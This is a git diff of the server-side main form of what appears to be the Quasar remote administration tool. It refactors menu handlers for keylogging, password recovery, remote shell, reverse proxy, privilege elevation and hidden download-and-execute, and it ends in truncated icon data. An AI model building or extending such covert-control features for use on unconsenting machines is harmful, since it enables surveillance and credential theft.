ListenServer.Listen(Settings.ListenPort); + if (ex.ErrorCode == 10048) + { + MessageBox.Show(this, "The port is already in use.", "Socket Error", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + else + { + MessageBox.Show(this, $"An unexpected socket error occurred: {ex.Message}\n\nError Code: {ex.ErrorCode}\n\n", "Unexpected Socket Error", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + ListenServer.Disconnect(); } - else if (Settings.AutoListen) + catch (Exception) { - UPnP.Initialize(); - ListenServer.Listen(Settings.ListenPort); + ListenServer.Disconnect(); } - else + } + + private void AutostartListening() + { + if (Settings.AutoListen) { - UPnP.Initialize(); + StartConnectionListener(); } if (Settings.EnableNoIPUpdater) @@ -115,10 +158,9 @@ private void FrmMain_Load(object sender, EventArgs e) private void FrmMain_FormClosing(object sender, FormClosingEventArgs e) { ListenServer.Disconnect(); - UPnP.DeletePortMap(Settings.ListenPort); + UnregisterMessageHandler(); notifyIcon.Visible = false; notifyIcon.Dispose(); - Instance = null; } private void lstClients_SelectedIndexChanged(object sender, EventArgs e) @@ -126,7 +168,7 @@ private void lstClients_SelectedIndexChanged(object sender, EventArgs e) UpdateWindowTitle(); } - private void ServerState(Server server, bool listening, ushort port) + private void ServerState(Networking.Server server, bool listening, ushort port) { try { @@ -304,51 +346,32 @@ private void RemoveClientFromListview(Client client) { } } - + /// /// Sets the status of a client. /// + /// The message handler which raised the event. /// The client to update the status of. /// The new status. - public void SetStatusByClient(Client client, string text) + private void SetStatusByClient(object sender, Client client, string text) { - if (client == null) return; - - try - { - lstClients.Invoke((MethodInvoker) delegate - { - var item = GetListViewItemByClient(client); - if (item != null) - item.SubItems[STATUS_ID].Text = text; - }); - } - catch (InvalidOperationException) - { - } + var item = GetListViewItemByClient(client); + if (item != null) + item.SubItems[STATUS_ID].Text = text; } /// /// Sets the user status of a client. /// + /// The message handler which raised the event. /// The client to update the user status of. /// The new user status. - public void SetUserStatusByClient(Client client, UserStatus userStatus) + private void SetUserStatusByClient(object sender, Client client, UserStatus userStatus) { - if (client == null) return; + var item = GetListViewItemByClient(client); + if (item != null) + item.SubItems[USERSTATUS_ID].Text = userStatus.ToString(); - try - { - lstClients.Invoke((MethodInvoker) delegate - { - var item = GetListViewItemByClient(client); - if (item != null) - item.SubItems[USERSTATUS_ID].Text = userStatus.ToString(); - }); - } - catch (InvalidOperationException) - { - } } /// @@ -415,7 +438,7 @@ private void ShowPopup(Client c) { if (c == null || c.Value == null) return; - notifyIcon.ShowBalloonTip(30, string.Format("Client connected from {0}!", c.Value.Country), + notifyIcon.ShowBalloonTip(4000, string.Format("Client connected from {0}!", c.Value.Country), string.Format("IP Address: {0}\nOperating System: {1}", c.EndPoint.Address.ToString(), c.Value.OperatingSystem), ToolTipIcon.Info); }); @@ -427,64 +450,23 @@ private void ShowPopup(Client c) #region "ContextMenuStrip" - #region "Connection" + #region "Client Management" + + private void elevateClientPermissionsToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (Client c in GetSelectedClients()) + { + c.Send(new DoAskElevate()); + } + } private void updateToolStripMenuItem_Click(object sender, EventArgs e) { - if (lstClients.SelectedItems.Count != 0) + Client[] clients = GetSelectedClients(); + if (clients.Length > 0) { - using (var frm = new FrmUpdate(lstClients.SelectedItems.Count)) - { - if (frm.ShowDialog() == DialogResult.OK) - { - if (Core.Data.Update.UseDownload) - { - foreach (Client c in GetSelectedClients()) - { - new Core.Packets.ServerPackets.DoClientUpdate(0, Core.Data.Update.DownloadURL, string.Empty, new byte[0x00], 0, 0).Execute(c); - } - } - else - { - new Thread(() => - { - bool error = false; - foreach (Client c in GetSelectedClients()) - { - if (c == null) continue; - if (error) continue; - - FileSplit srcFile = new FileSplit(Core.Data.Update.UploadPath); - if (srcFile.MaxBlocks < 0) - { - MessageBox.Show(string.Format("Error reading file: {0}", srcFile.LastError), - "Update aborted", MessageBoxButtons.OK, MessageBoxIcon.Warning); - error = true; - break; - } - - int id = FileHelper.GetNewTransferId(); - - CommandHandler.HandleSetStatus(c, - new Core.Packets.ClientPackets.SetStatus("Uploading file...")); - - for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++) - { - byte[] block; - if (!srcFile.ReadBlock(currentBlock, out block)) - { - MessageBox.Show(string.Format("Error reading file: {0}", srcFile.LastError), - "Update aborted", MessageBoxButtons.OK, MessageBoxIcon.Warning); - error = true; - break; - } - new Core.Packets.ServerPackets.DoClientUpdate(id, string.Empty, string.Empty, block, srcFile.MaxBlocks, currentBlock).Execute(c); - } - } - }).Start(); - } - } - } + FrmRemoteExecution frmRe = new FrmRemoteExecution(clients); + frmRe.Show(); } } @@ -492,7 +474,7 @@ private void reconnectToolStripMenuItem_Click(object sender, EventArgs e) { foreach (Client c in GetSelectedClients()) { - new Core.Packets.ServerPackets.DoClientReconnect().Execute(c); + c.Send(new DoClientReconnect()); } } @@ -500,7 +482,7 @@ private void disconnectToolStripMenuItem_Click(object sender, EventArgs e) { foreach (Client c in GetSelectedClients()) { - new Core.Packets.ServerPackets.DoClientDisconnect().Execute(c); + c.Send(new DoClientDisconnect()); } } @@ -510,32 +492,28 @@ private void uninstallToolStripMenuItem_Click(object sender, EventArgs e) if ( MessageBox.Show( string.Format( - "Are you sure you want to uninstall the client on {0} computer\\s?\nThe clients won't come back!", + "Are you sure you want to uninstall the client on {0} computer\\s?", lstClients.SelectedItems.Count), "Uninstall Confirmation", MessageBoxButtons.YesNo, MessageBoxIcon.Question) == DialogResult.Yes) { foreach (Client c in GetSelectedClients()) { - new Core.Packets.ServerPackets.DoClientUninstall().Execute(c); + c.Send(new DoClientUninstall()); } } } #endregion - #region "System" + #region "Administration" private void systemInformationToolStripMenuItem_Click(object sender, EventArgs e) { foreach (Client c in GetSelectedClients()) { - if (c.Value.FrmSi != null) - { - c.Value.FrmSi.Focus(); - return; - } - FrmSystemInformation frmSI = new FrmSystemInformation(c); - frmSI.Show(); + FrmSystemInformation frmSi = FrmSystemInformation.CreateNewOrGetExisting(c); + frmSi.Show(); + frmSi.Focus(); } } @@ -543,13 +521,9 @@ private void fileManagerToolStripMenuItem_Click(object sender, EventArgs e) { foreach (Client c in GetSelectedClients()) { - if (c.Value.FrmFm != null) - { - c.Value.FrmFm.Focus(); - return; - } - FrmFileManager frmFM = new FrmFileManager(c); - frmFM.Show(); + FrmFileManager frmFm = FrmFileManager.CreateNewOrGetExisting(c); + frmFm.Show(); + frmFm.Focus(); } } @@ -557,13 +531,9 @@ private void startupManagerToolStripMenuItem_Click(object sender, EventArgs e) { foreach (Client c in GetSelectedClients()) { - if (c.Value.FrmStm != null) - { - c.Value.FrmStm.Focus(); - return; - } - FrmStartupManager frmStm = new FrmStartupManager(c); + FrmStartupManager frmStm = FrmStartupManager.CreateNewOrGetExisting(c); frmStm.Show(); + frmStm.Focus(); } } @@ -571,13 +541,9 @@ private void taskManagerToolStripMenuItem_Click(object sender, EventArgs e) { foreach (Client c in GetSelectedClients()) { - if (c.Value.FrmTm != null) - { - c.Value.FrmTm.Focus(); - return; - } - FrmTaskManager frmTM = new FrmTaskManager(c); - frmTM.Show(); + FrmTaskManager frmTm = FrmTaskManager.CreateNewOrGetExisting(c); + frmTm.Show(); + frmTm.Focus(); } } @@ -585,28 +551,29 @@ private void remoteShellToolStripMenuItem_Click(object sender, EventArgs e) { foreach (Client c in GetSelectedClients()) { - if (c.Value.FrmRs != null) - { - c.Value.FrmRs.Focus(); - return; - } - FrmRemoteShell frmRS = new FrmRemoteShell(c); - frmRS.Show(); + FrmRemoteShell frmRs = FrmRemoteShell.CreateNewOrGetExisting(c); + frmRs.Show(); + frmRs.Focus(); } } - private void reverseProxyToolStripMenuItem_Click(object sender, EventArgs e) + private void connectionsToolStripMenuItem_Click(object sender, EventArgs e) { foreach (Client c in GetSelectedClients()) { - if (c.Value.FrmProxy != null) - { - c.Value.FrmProxy.Focus(); - return; - } + FrmConnections frmCon = FrmConnections.CreateNewOrGetExisting(c); + frmCon.Show(); + frmCon.Focus(); + } + } - FrmReverseProxy frmRS = new FrmReverseProxy(GetSelectedClients()); - frmRS.Show(); + private void reverseProxyToolStripMenuItem_Click(object sender, EventArgs e) + { + Client[] clients = GetSelectedClients(); + if (clients.Length > 0) + { + FrmReverseProxy frmRs = new FrmReverseProxy(clients); + frmRs.Show(); } } @@ -616,23 +583,38 @@ private void registryEditorToolStripMenuItem_Click(object sender, EventArgs e) { foreach (Client c in GetSelectedClients()) { - if (c.Value.FrmRe != null) - { - c.Value.FrmRe.Focus(); - return; - } - - FrmRegistryEditor frmRE = new FrmRegistryEditor(c); - frmRE.Show(); + FrmRegistryEditor frmRe = FrmRegistryEditor.CreateNewOrGetExisting(c); + frmRe.Show(); + frmRe.Focus(); } } } + private void localFileToolStripMenuItem_Click(object sender, EventArgs e) + { + Client[] clients = GetSelectedClients(); + if (clients.Length > 0) + { + FrmRemoteExecution frmRe = new FrmRemoteExecution(clients); + frmRe.Show(); + } + } + + private void webFileToolStripMenuItem_Click(object sender, EventArgs e) + { + Client[] clients = GetSelectedClients(); + if (clients.Length > 0) + { + FrmRemoteExecution frmRe = new FrmRemoteExecution(clients); + frmRe.Show(); + } + } + private void shutdownToolStripMenuItem_Click(object sender, EventArgs e) { foreach (Client c in GetSelectedClients()) { - new Core.Packets.ServerPackets.DoShutdownAction(ShutdownAction.Shutdown).Execute(c); + c.Send(new DoShutdownAction {Action = ShutdownAction.Shutdown}); } } @@ -640,7 +622,7 @@ private void restartToolStripMenuItem_Click(object sender, EventArgs e) { foreach (Client c in GetSelectedClients()) { - new Core.Packets.ServerPackets.DoShutdownAction(ShutdownAction.Restart).Execute(c); + c.Send(new DoShutdownAction {Action = ShutdownAction.Restart}); } } @@ -648,39 +630,30 @@ private void standbyToolStripMenuItem_Click(object sender, EventArgs e) { foreach (Client c in GetSelectedClients()) { - new Core.Packets.ServerPackets.DoShutdownAction(ShutdownAction.Standby).Execute(c); + c.Send(new DoShutdownAction {Action = ShutdownAction.Standby}); } } #endregion - #region "Surveillance" + #region "Monitoring" private void remoteDesktopToolStripMenuItem_Click(object sender, EventArgs e) { foreach (Client c in GetSelectedClients()) { - if (c.Value.FrmRdp != null) - { - c.Value.FrmRdp.Focus(); - return; - } - FrmRemoteDesktop frmRDP = new FrmRemoteDesktop(c); - frmRDP.Show(); + var frmRd = FrmRemoteDesktop.CreateNewOrGetExisting(c); + frmRd.Show(); + frmRd.Focus(); } } private void passwordRecoveryToolStripMenuItem_Click(object sender, EventArgs e) { - foreach (Client c in GetSelectedClients()) + Client[] clients = GetSelectedClients(); + if (clients.Length > 0) { - if (c.Value.FrmPass != null) - { - c.Value.FrmPass.Focus(); - return; - } - - FrmPasswordRecovery frmPass = new FrmPasswordRecovery(GetSelectedClients()); + FrmPasswordRecovery frmPass = new FrmPasswordRecovery(clients); frmPass.Show(); } } @@ -689,91 +662,15 @@ private void keyloggerToolStripMenuItem_Click(object sender, EventArgs e) { foreach (Client c in GetSelectedClients()) { - if (c.Value.FrmKl != null) - { - c.Value.FrmKl.Focus(); - return; - } - FrmKeylogger frmKL = new FrmKeylogger(c); - frmKL.Show(); + FrmKeylogger frmKl = FrmKeylogger.CreateNewOrGetExisting(c); + frmKl.Show(); + frmKl.Focus(); } } #endregion - #region "Miscellaneous" - - private void localFileToolStripMenuItem_Click(object sender, EventArgs e) - { - if (lstClients.SelectedItems.Count != 0) - { - using (var frm = new FrmUploadAndExecute(lstClients.SelectedItems.Count)) - { - if ((frm.ShowDialog() == DialogResult.OK) && File.Exists(UploadAndExecute.FilePath)) - { - new Thread(() => - { - bool error = false; - foreach (Client c in GetSelectedClients()) - { - if (c == null) continue; - if (error) continue; - - FileSplit srcFile = new FileSplit(UploadAndExecute.FilePath); - if (srcFile.MaxBlocks < 0) - { - MessageBox.Show(string.Format("Error reading file: {0}", srcFile.LastError), - "Upload aborted", MessageBoxButtons.OK, MessageBoxIcon.Warning); - error = true; - break; - } - - int id = FileHelper.GetNewTransferId(); - - CommandHandler.HandleSetStatus(c, - new Core.Packets.ClientPackets.SetStatus("Uploading file...")); - - for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++) - { - byte[] block; - if (srcFile.ReadBlock(currentBlock, out block)) - { - new Core.Packets.ServerPackets.DoUploadAndExecute(id, - Path.GetFileName(UploadAndExecute.FilePath), block, srcFile.MaxBlocks, - currentBlock, UploadAndExecute.RunHidden).Execute(c); - } - else - { - MessageBox.Show(string.Format("Error reading file: {0}", srcFile.LastError), - "Upload aborted", MessageBoxButtons.OK, MessageBoxIcon.Warning); - error = true; - break; - } - } - } - }).Start(); - } - } - } - } - - private void webFileToolStripMenuItem_Click(object sender, EventArgs e) - { - if (lstClients.SelectedItems.Count != 0) - { - using (var frm = new FrmDownloadAndExecute(lstClients.SelectedItems.Count)) - { - if (frm.ShowDialog() == DialogResult.OK) - { - foreach (Client c in GetSelectedClients()) - { - new Core.Packets.ServerPackets.DoDownloadAndExecute(DownloadAndExecute.URL, - DownloadAndExecute.RunHidden).Execute(c); - } - } - } - } - } + #region "User Support" private void visitWebsiteToolStripMenuItem_Click(object sender, EventArgs e) { @@ -785,7 +682,11 @@ private void visitWebsiteToolStripMenuItem_Click(object sender, EventArgs e) { foreach (Client c in GetSelectedClients()) { - new Core.Packets.ServerPackets.DoVisitWebsite(VisitWebsite.URL, VisitWebsite.Hidden).Execute(c); + c.Send(new DoVisitWebsite + { + Url = frm.Url, + Hidden = frm.Hidden + }); } } } @@ -802,8 +703,13 @@ private void showMessageboxToolStripMenuItem_Click(object sender, EventArgs e) { foreach (Client c in GetSelectedClients()) { - new Core.Packets.ServerPackets.DoShowMessageBox( - Messagebox.Caption, Messagebox.Text, Messagebox.Button, Messagebox.Icon).Execute(c); + c.Send(new DoShowMessageBox + { + Caption = frm.MsgBoxCaption, + Text = frm.MsgBoxText, + Button = frm.MsgBoxButton, + Icon = frm.MsgBoxIcon + }); } } } @@ -867,10 +773,5 @@ private void notifyIcon_MouseDoubleClick(object sender, MouseEventArgs e) } #endregion - - private void contextMenuStrip_Opening(object sender, System.ComponentModel.CancelEventArgs e) - { - - } } } \ No newline at end of file diff --git a/Server/Forms/FrmMain.resx b/Quasar.Server/Forms/FrmMain.resx similarity index 97% rename from Server/Forms/FrmMain.resx rename to Quasar.Server/Forms/FrmMain.resx index 76459b885..e699ae63d 100644 --- a/Server/Forms/FrmMain.resx +++ b/Quasar.Server/Forms/FrmMain.resx @@ -121,21 +121,6 @@ 223, 17 - - - iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m - dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAIkSURBVDhPpZFLaxphFIbzD/pzsuiui1LopquuBQUF - EQRd6MaVK0XEJmkEwbZaqUWoJkaNjhov41SjRqPjLY63pin1QnXfxdvzDbQkMF2ULt7N8LzPme+cPQD/ - FcWPzWbzTa1W+8nzPAqFAjiOQzKZRCwWQyQS+XCffVBst9uPGo1GRJIk3N5+gzRdQJJmGLOMp9hsfiAU - ChGqIGi1Ws/q9frX2WyG1WqF2mULFaGOMn+JYrmKYvEzhiMJfr+fcAUBlbFcLuUsFl/AU/n42Iujo9c4 - ODiEx/MK/cEYXq+XcAWBIAjYbrdUXmAymaDEppaquCgKyF9UwOXK6PVvSOQhXEHAlrXZbDCfz+ndExTo - l9lUt9sNl8sFh8MBsTeC0+kkXEHANs0EbAej0Q1NFZDN8+CyZaS5Is7TBXS7A9jtdsIVBIlEQhZMp1MM - hyP5lzNcCelMEe+rb/Hy4wtck8BmsxGuIIhGo1iv1/L7e73Bn6nJ8zyevHuM/cN9tK/7sFgshCsIwuGw - fD4m6Io9pFg5lcdZMof4GYeTOIdWW4TJZCJcQRAIBLDb7eQldjoiEkkqJ7I4ZeXTDKInaVy1RBgMBsIV - BD6frxaPxyGKIi1ygRydLp7IIUbFTyzRFJpXXeh0OsIVBCx0sud0rkYwGARfEegpI3kqK7Lc3X2HRqMh - 9C+C36FNP7VarR2z2Qyj0Qi9Xg+tVgu1Wg2VSjW4zz4o/nuw9wtdEBK3EWw5nwAAAABJRU5ErkJggg== - - iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m @@ -167,26 +152,6 @@ 7AVomTNQv56AsnAYjvoF4pNmQSJi+Uyi8BjszWFYxT4Kx2CI1yh8jlpPQ+WPQ5k/BHnuIAlSqGcaglz8 aInJBVlffuHp+efQxMfQhDi07ADUzH2o6V4oSzEofBTK4g3YlRmfMnJDIAy03xKGOiaEwY4KTeufDAZT ocxIQ7AXWh7+P2j7BY3RGzIVTOkAAAAAAElFTkSuQmCC - - - - - iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAALGPC/xhBQAAA0RJREFUOE81 - U91Pk2cUf92l2dWupkChBaRqmS2jUASkLW/7vlgorTLkY6CBCralH0Clhba0L1D6oS0UkSCajJmosGQ3 - 4gXZRvYXLFvCzXalyf6DJV558dt5HuKTnJxzfs/5nY/nQ2Dr4WLyy8Wkcj9fLG882tw+LG7tnGxs7/5R - 3tn7p1h++oGwf0tbO+8JP80+3vxlbiGe9ocj5zk5Ekt8RUF/r+ULGLk7iltDLjjcEjqtJuiNV6EzNECn - P5Nmkx6Sw450Jou5aPyIJ0gqGSWhrOD2iAO5jTSCMQ9Exw1YpHaINzth7+tCl60N3WTfEE3cNrbpkStt - YXomrBeo+pH7jhPHvx0h/zSB2FoAvbdF9LiscNzqJtsGyWmBgzDJaSZMRIe1BaHIPAJz0bBAs53ITitS - 2QXEs2H0DjCCGVa5HTIj95lhtl/n2GfdbmmBLzSDyOJyiSX43Wxvg9xvgXNQ4gGsKusg/nYPI1EPZOrg - rBO2J8La0wFv0I/F5dVnAp3wSVOrDte7mnkAm5Hp2R8K8Ozn4D8owSJ3YCIdPNujjtjhPpjxYSm19kyg - a3mn1dWhpcOA/nEnZDfNTWPM/roPyTeMe/kIxjJhJP96C/GOhCZTI+ovqxEIh5BQ1reE1eyj17prlyHH - 7sOtBDH9qgT37DhcSS++pWBjpwErf76Dvt+M70oxDJUT6PIPY25hAcur2YyQXFnfbm03QlOvwqUrGnxj - MWL99BgNRNTqark0U0e1DdXQXFKhTluDmroqxFMppNdyEXpIyYQo26DSVPAgJr1KANW1lTyY+cxmZEZs - uKrhWKG0gVhSGRemfKGxobFRVKi+5kkqqy+gquYiqtQXUU0+IzO/husLlKQS6voq7Dx/QWMsdQt3PQ9M - 3mAIKiKwCiyJmjQjMJ8Fs0QMYyM2GrRc//jqEPPRuFq45/GeT2cKHw1GPU/COmBJeBckzObdqc90Y5OW - biAI+mz/heZjX/D/4A3O+zKF0qcZuprR8e/hHnDjZl8PRMkKq80Me48NrgEXJqc8KJaf4OXBzwg/XMpz - 8uc1Me2v8HgDDpprMp5ajaUz+UKuuLlL7+QlyQEV+ImwN9GEsjvlDw9S7DlBEIT/AeYb1TEkjRNvAAAA - AElFTkSuQmCC @@ -200,58 +165,92 @@ RU5ErkJggg== - + + + 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 - AvcX77X2szDYsr4AAAAASUVORK5CYII= + dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAKoSURBVDhPpZPtT1JRHMf9W/RP6N7etDZ90VybDZK0 + F5k1TBO1la7CbLBKMRGfAAVsCIaaD5RPUJIiJHAlI+QhNPXmwAza2uoNZC3LbwdaqNXaWi8+d/ece77f + 3/ne3zkZAP6L3ybyNStZx1QhUZ4iyB5p8cZzZJ54tmyBzZa5RYdvM1m/rt834KiXeUflgVhFrx+99ghG + mc0UemsYfPVT0KLZGC228vZq0i+kKi+31ZdomVyFxRtDz3QEEuNL3Bpehty0CqNjA42jIdCVEwn64kTa + JPXIUwYzc9sWo0mx6VkMIiK6NhDAkOs1hpwbuGrwQ9gfgGF2HZL7ftBlxihdOpyZNsiVL4rLtV6YPW9R + NxCCkES4rPPh4+ftFNU6D6p7PBDe9WLgSRinmh+DKuoXpw1y2jys3hqB0sTiSq8PNTovqrUe9NnXYSBU + djM/0LhIrADU0yugC3Vs2uCQhNkaX3iDuj4/qfQcVXfcZDFDPgE7BIHKifLOOYIDFzROGJkwKF7XVlKb + MqDF9q0x92Yqa7JShdpFRC6EIh+Q+LSNsg47StttOEcQKGwYmScGXMVeAyurtbKQPlhClcYNQZcT55Vz + eBF+Twy+oEQ2gxKSm99sQW0PA6UlCPp4x24EutYiLpbbMeSIoErFQCB3wOLZwNdvO6kI/lfvUCwxE0zo + fhhC4fVRYtC++xPpS2OZtMAYvTnig8G6hjK5DfyWaZyRTqG4wYTT9RMoqh9H64iXtHeebF8apbnS3TYm + ofiDvAMF+oRo0AP9zAqEWifZ8iOcbTSjRmWD2hSAsI8BzWlIEPH+g5Q2KdTzqILu2Mkbk1BOLeGekyWs + ocMcRH6dERSnMUZzm/58lH9Cn1BnUbxOEZWvYCluc5ziNMVJRZYgOsht+Ptl+neQ8R04hsvsalKMmgAA + AABJRU5ErkJggg== - + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m - dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAKfSURBVDhPpZLdT1JxGMdpa+suWy8XzfUH9D943+yu - q9bWZhfNuVVb0portaKSuzSXmomkx4SpaIkg8qKAyotApUBQKgqHwzmHwzkesJHGaHyDs+l086KXi++e - 3+95Pt/n99ueRwbgv3Rk8m906EKSZE0q/m2ajnp26JVZMJ/NYAJGMD49WL/xJxvxumiarjno2T9QFEUw - a58K6bAVYsQObtmEVbsGEfMAYrYBbC+NQVx8h8z8UImLhacONSibLUzYCSFsw4qFgGGwAzpCBe2IAYTG - CBUxBa1aBadaAcHaBdHcCSHkCEkNEolEOxN1QwjOwKF7Dbc/ilFXFsPOLNQ2Ed2mLbTrebTpOOi9Waxa - h5Eaf4acXgkq7B2UpWLhNB2YQNQ/h2KxiCnfNoYcWaisIk6du4Cqs9V4PpZBiyZdjpzEsCEXaG0zgn1N - RVncry+lkzHs7u5KRZ0rh16zgE6jgKoz1Th5+jweDrO4p6bRWo4VpsIKsRA+djRAlkps/BJFEfl8HoVC - AfZgrvxlDkodi0daGk2DKdxVUWjoIfHWxktMha14NvRdJRkVWhC5xFfkcjmpEEt9R98Mi2YiWX6VxO3e - OG6+2kTLUBLL61mJqbBsJIA48aAgI9cjb9JLE8iUp7DFJJDNZhFc40BYSDT1r6GxdxXdk3H4vqQlo8gx - 4HzTSPbUw6NSeKQxri57PdRsPwSnGnzQLvKxMMOzqQTP85t7ymQym1zEx7CGTpBls7VdzkzKLx/bX6TA - vFXvHu0qboy1gTO+AGdTgXVqwDg0YOcIUPqXoPpuY1F5o2Tqeer/0Fh7XNqDvQYVubvlJwzK+qvjj+tG - Jp/UcSZF3Q+L4vrOTOu1/Pv7VxY0d2rl2luXLh70HGrwLzoy+eeC7DdDjRpyPiqHagAAAABJRU5ErkJg - gg== + dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAJZSURBVDhPlZJNbxJRFIb5E/4m48Kf0SYolA/BgFIU + gkktghQELRYWIgKhQVNrmoCENED5GlCGmTtDoUBbl42NiaULFq/3jtYpjYu6eJM595zznHPfuRoAGlmW + QQiBIAjodrvodDpoNpuo1Wool8solUooFArY2dnB1tYWcrkcMpkMbYVGAYiiiNPTHxgfHmM8OcJ4fIQR + 0+gQB1TDgwmGwzEGTIMRTk6+I5FIqACe55XG2+bUtST3h4jFYiqArcymsqT2eRXW9RaCOYLop30EP/Th + 25SwkpHwJC0pNZI0QCQSUQGNRkNZlyXvBPZwd62GB/EOAjkJa+/7eJohcCdFON8SpYaQAQKBgAqoVCoY + 